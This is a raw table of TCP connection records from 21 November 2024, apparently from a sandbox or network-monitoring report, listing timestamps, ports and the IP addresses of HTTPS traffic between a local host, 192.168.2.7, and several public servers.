Nov 21, 2024 00:03:37.137343884 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.137684107 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.137764931 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.137855053 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.139945030 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.140001059 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.140094042 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.140270948 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.140288115 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.521352053 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:37.521605968 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:37.521617889 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:37.522957087 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:37.523022890 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:37.524102926 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:37.524214983 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:37.575825930 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:37.575834990 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:37.622792006 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:37.675796032 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.675820112 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.675878048 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.675888062 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.675941944 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.676146030 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.676150084 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.676182985 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.676325083 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.676357985 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.676681042 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.678489923 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.678509951 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.678582907 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.678736925 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.678750038 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.990127087 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:37.990211010 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:37.993125916 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:37.993139029 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:37.993444920 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.036276102 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:38.083328962 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.242486000 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.251741886 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.251764059 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.252159119 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.252165079 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.323590994 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.376633883 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.401827097 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.447211981 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.537467003 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.537640095 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.537774086 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:38.553828001 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.553844929 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.554341078 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.554344893 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.573184967 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.573204041 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.573771954 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.573779106 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.690848112 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.690876961 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.691170931 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.691190004 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.692023993 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.692112923 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.721875906 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:38.721894026 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.721916914 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:38.721924067 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.756417990 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.756460905 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.756494999 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.756517887 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.773226976 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.773272991 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.773485899 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.773788929 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.773804903 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.801707029 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.801759005 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.802115917 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:38.802126884 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:38.802149057 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.802181005 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:38.802369118 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:38.802386045 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:38.802511930 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.802524090 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.815244913 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:38.815289974 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.815382004 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:38.815723896 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:38.815737009 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:38.888802052 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.891470909 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.891812086 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.891812086 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.891812086 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.898101091 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.898175955 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.898437023 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.898845911 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.898883104 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.908409119 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.911401033 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.912175894 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.912266970 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.912278891 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.912292004 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.912297010 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.915438890 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.915468931 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.915618896 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.915766001 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.915777922 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.986464977 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.986890078 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.986978054 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:38.987684965 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:38.987700939 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.199270964 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.199302912 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.480535030 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.481024027 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.481059074 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.481529951 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.481535912 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.482897043 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.485918045 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.485987902 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.486083031 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.486126900 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.486156940 CET	49814	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.486174107 CET	443	49814	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.488730907 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.488775015 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.488845110 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.489029884 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.489048958 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.923167944 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.926589012 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.926649094 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.926681042 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.926701069 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.926712036 CET	49815	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.926717997 CET	443	49815	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.929482937 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.929512024 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:39.929580927 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.929724932 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:39.929733992 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.339004993 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.339538097 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.339580059 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.340688944 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.340753078 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.342063904 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.342130899 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.342288971 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.342298985 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.352878094 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:40.352953911 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:40.354562998 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:40.354583979 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:40.354918003 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:40.357356071 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:40.386194944 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.399332047 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:40.561628103 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.562124014 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.562145948 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.562567949 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.562573910 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.653245926 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:40.653517962 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:40.653536081 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:40.654633045 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:40.654692888 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:40.655688047 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:40.655752897 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:40.655858994 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:40.684590101 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.685067892 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.685153961 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.685765028 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.685784101 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.697365046 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:40.697385073 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:40.745126963 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:40.777929068 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.784956932 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.784979105 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.785485983 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.785492897 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.841029882 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.841126919 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.841149092 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.841217041 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.841259956 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.841259956 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.841267109 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.841288090 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:40.841300011 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.841337919 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:40.921539068 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:40.921636105 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:40.921710014 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:40.928018093 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:40.928051949 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:40.928095102 CET	49822	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:40.928102970 CET	443	49822	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:41.004785061 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.007941961 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.008013964 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.023567915 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.023597002 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.023638964 CET	49819	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.023646116 CET	443	49819	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.028664112 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.028745890 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.028763056 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.028791904 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.028806925 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.029036999 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.033730030 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.046674013 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.046732903 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.046804905 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.048046112 CET	49827	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.048064947 CET	443	49827	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.065310001 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.065363884 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.065407991 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.065428019 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.065440893 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.113224983 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.116082907 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.116164923 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.116174936 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.116226912 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.116264105 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.117760897 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.137543917 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.140619993 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.141261101 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.159169912 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.159199953 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.159204960 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.159250021 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.159275055 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.159287930 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.159305096 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.159320116 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.159337997 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.159364939 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.262063026 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.265192032 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.265532970 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.282779932 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.331259012 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.359658003 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.359683037 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.359695911 CET	49823	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.359702110 CET	443	49823	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.366688967 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.366703987 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.366735935 CET	49824	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.366741896 CET	443	49824	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.367985964 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.367997885 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.368458986 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.368465900 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.376174927 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.376221895 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.378904104 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.379261971 CET	49820	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.379283905 CET	443	49820	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.383219004 CET	49829	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.383258104 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.383321047 CET	49829	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.383374929 CET	49828	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.383388042 CET	443	49828	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.383588076 CET	49829	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.383600950 CET	443	49829	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.384104013 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.384115934 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.384150028 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.384174109 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.384182930 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.384218931 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.384236097 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.430397987 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.430433035 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.430538893 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.430567980 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.430588961 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.430612087 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.569272041 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.569302082 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.569356918 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.569386005 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.569396973 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.569850922 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.596606016 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.596626043 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.596709013 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.596726894 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.596770048 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.614018917 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.614038944 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.614101887 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.614114046 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.614140987 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.614168882 CET	49821	443	192.168.2.7	13.107.246.60
Nov 21, 2024 00:03:41.646101952 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.646137953 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.646193027 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.646420002 CET	49831	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.646435976 CET	443	49831	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.725378036 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.728406906 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.728499889 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.728832960 CET	49825	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.728849888 CET	443	49825	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.730631113 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.731219053 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.731234074 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.731802940 CET	49826	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.731808901 CET	443	49826	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.732326031 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.732353926 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.732592106 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.732716084 CET	49832	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:41.732721090 CET	443	49832	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:41.770545006 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.770577908 CET	443	49821	13.107.246.60	192.168.2.7
Nov 21, 2024 00:03:41.770622969 CET	49821	443	192.168.2.7	13.107.246.60
